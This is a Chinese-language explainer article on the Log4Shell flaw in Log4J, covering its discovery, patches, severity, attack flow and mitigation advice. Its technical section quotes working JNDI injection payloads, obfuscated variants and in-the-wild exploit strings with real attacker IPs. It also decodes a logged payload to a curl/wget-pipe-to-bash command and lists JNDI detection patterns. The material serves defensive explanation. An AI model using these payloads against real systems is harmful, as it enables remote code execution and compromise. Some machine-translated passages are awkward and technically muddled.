Java 在 IT 相关设备中无处不在，例如移动设备、台式机、服务器、物联网设备、路由器、打印机、复印机等。大多数流行的软件应用程序和游戏以及定制的企业应用程序都是使用 Java 开发的。粗略估计，有 30 亿台设备运行 Java。Java 库将 Java 的健壮性提升到一个不同的水平。一个这样的库是由开源 Apache 软件基金会开发的 Log4J。这个 Log4J 库是 Java 日志记录框架的重要组成部分，负责记录应用程序的错误消息。
Log4J 库的使用
日志记录可帮助开发人员查看应用程序正在执行的所有活动，几乎每个软件应用程序（甚至是基于云的）都会为其错误创建日志。开发人员通常不会创建他们的应用程序的日志系统（为了不重新发明轮子），而是更喜欢使用已经建立的日志库（编码和开发中的常见规范），而最流行的 Java 日志库之一是Log4J。
因此，几乎每个用 Java 编写的应用程序（包括政府、机构、企业、Microsoft、Apple、Google 等的应用程序）都可能有这个库，而此类库中的漏洞可能是网络安全最糟糕的噩梦和梦想对黑客来说是正确的。此外，这个库是开源的，所以没有关于有多少设备/应用程序正在使用这个库的官方数据。
Log4J 被许多流行的应用程序（如 Twitter、Apple iCloud）、游戏（如 Minecraft、Steam）、网站等使用。除此之外，这个库也是许多其他框架的一部分，如 Kafka、Elasticsearch、Flink。易受 Log4J 漏洞利用的应用程序、产品、插件列表不断增加。
检测 Log4J 中的漏洞
阿里云安全团队的陈兆军最初于 2021 年 12 月 1 日首次报告了 Log4J 中的漏洞，作为标准的错误搜寻实践和负责任的 IT 人员，他向 Apache 基金会通报了该漏洞（尽管，一些漏洞猎手将此类漏洞出售给黑客，而此类漏洞会在数月或数年内未被发现）。检测发生在Minecraft中。Minecraft 的聊天功能是 Log4J 漏洞的识别来源。
该游戏的聊天算法基于使用 Log4J 库的 Java API，该库允许坏人冻结 Minecraft 服务器、移除所有玩家等。在有利的环境中，此漏洞很容易被远程代码执行 (RCE ) 操纵, 这提高了漏洞的威胁级别。
Apache 于 2021 年 12 月9日公开承认 Log4J 库中存在漏洞。该漏洞被命名为Log4Shell并被官方标记为CVE-2021-44228。CVE（Common Vulnerabilities and E xposures）编号系统是一个术语，用于唯一标识在世界各地检测到的每个漏洞/漏洞利用。
Log4J 被归类为零日（或 0 日）漏洞。零日漏洞意味着该漏洞已经成为黑客的目标，甚至在开发人员知道该漏洞并具有零日漏洞来实施漏洞利用补丁之前。
受影响的 Log4J 库版本和发布的补丁
据报道，Log4J 版本2.0 到 2.14.1受到该漏洞的影响。Log4J 版本2.15.0是针对 CVE-2021-44228 发布的原始补丁，但后来在 Log4J 中发现了另一个漏洞（主要是在非默认配置中），标记为CVE-2021-45046。此漏洞的安全影响为3.7（与原始漏洞相比相当低）。Apache 基金会随后发布了Log4j 版本 2.16以修补原始修复程序中的漏洞。
在我们撰写本文时，针对标记为CVE-2021-45105（拒绝服务/DoS 攻击）的Log4J 漏洞的另一个补丁 Log4J版本 2.17从 Apache 发布。有关补丁的信息可在Apache网站的官方 Log4J 安全页面上找到。
很多读者可能会想，既然补丁已经应用到Log4J上了，那为什么还要进行fuzz呢？虽然最新版本的 Log4J 库打了补丁，但仍在使用旧版本 Log4J 的应用程序、产品、插件等仍然没有打补丁。此外，还有一些应用程序已成为废弃软件并使用易受攻击的 Log4J 版本。Abandonware 是一种被其所有者/制造商忽略/未进一步开发并且没有任何官方支持的软件产品。
Log4J 漏洞的严重性
在安全影响评级中，Log4J 漏洞很容易被归类为 10/10（可能的最高风险级别）。这个漏洞的严重性如此之大，以至于所有主要参与者（微软、谷歌、思科等）以及政府和 Apache（Log4J 的开发者）都在夜以继日地工作以修补这个漏洞。这些公司的关注和回应可以在他们的官方网页或社交媒体账户上看到。当CISA（美国网络安全和基础架构机构）的 Jen Easterly 主任提到 Log4J 漏洞时，可以注意到该漏洞的严重性
如果不是最严重的话，也是我整个职业生涯中见过的最严重的情况之一。
由于这种严重性，IT 行业领导者认为Log4J漏洞将在未来几年继续困扰该行业。
为什么没有及早发现 Log4J 漏洞？
许多用户想到一个问题，即为什么自 2013 年以来 Log4J 库可用时没有及早检测到如此严重的漏洞。尽管在美国 2016 年的 BlackHatEvents 中提出了 Log4J 的漏洞，其中讨论了 JNDI 作为攻击媒介，而，当前的漏洞是一种允许使用 JNDI 的模板注入。
但在软件应用程序中，随着新技术的出现和 IT 行业的变化（例如，互联网发明之前和互联网发明之后的软件应用程序是不同的故事），漏洞很难被发现。此外，如前所述，低于 2.0 的 Log4J 库版本不受影响（它们有自己的问题），因此，技术进步是可以检测到此漏洞利用的原因。
利用 Log4J 漏洞进行攻击
随着镇上的新漏洞利用，黑客正在瞄准他们的工具来使用该漏洞利用。首先注意到针对该漏洞利用的恶意软件是CryptoMiners（从受影响的机器中挖掘加密货币）。随后是Cobalt Strike（渗透测试）从受感染的系统中窃取用户名/密码。然后，基于勒索软件的恶意软件（如Khonsari）也加入了这艘船，而且这个名单还在继续。最后但同样重要的是，各国政府支持的黑客组织正通过利用此漏洞瞄准竞争对手。这是 ESET 提供的关于所报告的攻击的地图（美国、英国、德国、土耳其和荷兰的攻击数量最多）。
到目前为止，有超过 1800000 起 黑客尝试使用此 Log4J 漏洞的报告事件（并且还在增加）。此外，近40% 以上的企业网络都受到了利用此漏洞的攻击。漏洞利用代码在各个站点上的可用性使情况变得更糟。此外，事情变得复杂，因为HTTP和HTTPS 协议可以针对该漏洞利用。
但这只是起点，如果开发了针对该漏洞的恶意蠕虫，那么它的影响可能会远远超过原来的漏洞。因为，计算机蠕虫是一种独立的软件，可以悄悄地自我复制并通过网络传播（例如，2000 年代的红色代码蠕虫或 2017 年的WannaCry）。
怎么运行的
Log4J 库（连同日志框架）跟踪应用程序正在做什么并使用漏洞，攻击者只需要通过一个简单的任务强制在 Log4J 中输入日志条目，例如，设置帐户的用户名或发送电子邮件中的代码字符串。攻击者在日志框架中创建应用程序的日志条目可能因应用程序而异（例如，在 Minecraft 中，使用了聊天功能）或因计算机而异。一旦创建了这样一个带有恶意代码的日志条目，攻击者就可以将恶意代码加载到机器上，完全控制系统，通过网络传播，安装恶意软件，发起另一种形式的攻击等等。
此漏洞最危险的部分是它是“预先验证的”，这意味着黑客无需登录易受攻击的系统即可控制它。
该漏洞利用可以简单地描述为以下步骤：
- 攻击是由黑客通过用户提供的输入发送恶意负载来触发的。此有效负载可能是 HTTP/HTTPS 标头或易受攻击的应用程序使用 Log4j 记录的任何其他内容。
- 该应用程序将恶意负载记录到其数据中。
- Log4J 库 尝试解释恶意用户输入并连接到黑客控制的服务器（例如，LDAP）。
- 恶意服务器（例如 LDAP）返回指示应用程序加载远程类 Java 文件的响应。
- 该应用程序下载并执行远程 文件，这为黑客执行其恶意行为打开了大门。
下图解释了该过程：
你安全吗？
因此，在经历了上述过程之后，用户会想到一个问题，我安全吗？这取决于。如果用户是使用 Java Log4J 库的组织的一部分，那么他和他的组织将面临风险。如果用户或其组织没有使用任何基于 Java 的东西（极不可能），但如果企业应用程序依赖项、第 3 方供应商实用程序或应用程序是基于 Java 的，则用户或其组织可能会面临风险。如果您正在使用易受攻击的应用程序，您可以在 Internet 上搜索这些应用程序。
该怎么办？
现在，终极问题是，如果您的系统或组织中存在 Log4J 漏洞，该怎么办。
对于用户
普通最终用户除了保持其应用程序（尤其是防病毒/反恶意软件应用程序）、设备或操作系统处于最新状态外，无法对该漏洞采取任何实质性措施。如果用户正在使用某种形式的废弃软件，那么卸载它可能会保护他的系统安全。此外，如果您使用的是在线服务（如 Stream），那么确保他们已应用补丁（检查他们的官方页面或社交媒体句柄）是普通用户的前进方向。
对于一个组织
保护组织免受 Log4J 攻击的经验可能因组织而异。第一步应该是对整个基础架构、应用程序依赖项、第 3方供应商实用程序或远程员工进行审核，以查明是否存在漏洞。审计应该在应用程序日志中查找以下模式或其派生：
${jndi:ldap:/}
${jndi:ldaps:/}
${jndi:rmi:/}
${jndi:dns:/}
${jndi:iiop:/}
该组织还可以使用自动威胁搜寻和调查工具（如TrendMicro 的 Log4J Vulnerability Tester）来找出任何具有 Log4J 漏洞的此类应用程序。组织的开发人员应该负责检查他们的代码是否有任何对 Log4J 漏洞的引用。此外，应尽早为组织的面向 Internet 的设备打补丁，以避免发生灾难。组织应尽快采取行动，因为组织必须与至少提前 7 天攻击漏洞的坏人竞争。
其次，网络应用防火墙也应尽早放置，以保护组织的资源和数据。几乎每个主要参与者（微软、甲骨文、苹果、谷歌、亚马逊等）都更新了他们的服务并发布了产品补丁。因此，组织应确保将其使用的所有应用程序和服务更新为最新版本。此外，企业组织应限制不必要的互联网流量以减少其暴露，从而降低风险级别。
漏洞的技术方面
到目前为止，我们试图用通俗的术语来介绍 Log4J 漏洞，但在本节中，我们将讨论开发人员技术术语中的 Log4J 漏洞。此漏洞是通过使用JNDI（Java 命名和目录接口）查找来利用的。这可能会导致拒绝服务(DoS) 攻击。每当 JNDI 找到类似 ${a_Java_expression} 的表达式时，它就会找到该表达式的值并替换它。一些Log4J 支持的查找是 sys、JNDI、env、java、lower 和 upper。Log4J 查找支持的一些协议是 LDAP、DNS、RMI 和 IIOP。为了在应用程序日志中注入一个条目，攻击者可以使用对服务器的 HTTP 请求，并且在收到请求后，Log4J 查找将下载并执行 malicious.class（托管在黑客控制的 LDAP 服务器上），如果 ObjectClass 属性在 LDAP 对象中定义为 javaNamingReference 并具有以下属性：
java代码库 java工厂 类名
然后LDAP 对象加载器将提取 javaCodebase 中定义的恶意 URL 的内容，并在内存中创建相应的对象。一旦初始化方法或更正式地说，上述类的构造函数被执行，来自不受信任来源的不受信任代码将在受感染的机器上运行。
攻击者可以在 Log4J 中注入的最基本的表达式是
${jndi:ldap://{attacker_website}/a}
这将执行托管在以下位置的恶意代码 ：
http://{attacker_website}/{malicious.class}
一旦恶意代码成功执行，服务器就会解释导致各种格式（如 JavaScript、Java 类、Unix shell 等）的 shell 命令的字符串。
另一个增加漏洞严重性的因素是Java ${} 块的嵌套能力，这将使可疑字符串的检测变得更加困难。例如，黑客可以使用 ${${lower:jn}${lower:di}} 而不是使用 ${jndi:}，这将允许黑客从远程服务器提取信息/数据。
读者可能会想到的一个有趣的问题是，将可以落地的代码放到 Log4J 库中的什么位置？许多应用程序记录发生在它们身上的一切，包括传入的请求，如 HTTP 标头（如 User-Agent 或 X-Forwarded-For）、URI、请求主体等。最糟糕的是，攻击者可以将此类请求发送到应用程序的来自所有 Internet 的记录器，然后可以发出命令来控制受感染的机器。下图把流程说的很清楚：
以下是迄今为止识别的几个URL示例，这些 URL 可以使用 Log4J 库发起不同类型的攻击：
${jndi%3aldap%3a//0ky8rj5089x9qx7tq8djb3rpp.canarytokens[.]com/a}
${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://${hostName:user:env}.c6340b92vtc00002scfggdpcz9eyyyyyd.interactsh[.]com}
${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://195.54.160[.]149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC80NS41Ni45Mi4yMjk6ODB8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvNDUuNTYuOTIuMjI5OjgwKXxiYXNo}
${jndi:ldap://5819.u837r4g5oolsy8hudoz24c15nwtohd.burpcollaborator[.]net/a}
${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//62.182.80.168:1389/pien3m}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:l}${lower:d}${lower:a}${lower:p }}://67.205.191.102:1389/koejir}}
以下是一段显示 Log4J 漏洞利用尝试的HTTP 服务器日志：
45.155.205[.]233:53590 server:80 - [10/Dec/2021:13:25:10 +0000] "GET / HTTP/1.1" 200 1671 "-" "${jndi:ldap://45.155 .205[.]233:12344/Basic/Command/Base64/[BASE64-code-removed]}"
上述日志中的base64 字符串解码为：
(curl -s 45.155.xxx.xxx:5874/server:80||wget -q -O- 45.155.xxx.xxx:5874/server:80)|bash
这将从 45.155.xxx.xxx 获取恶意代码，然后使用 Bash 运行脚本。
最后，我们希望我们的读者对这个威胁保持警惕，不要掉以轻心，因为这个漏洞导致 Internet 火上浇油是有原因的。
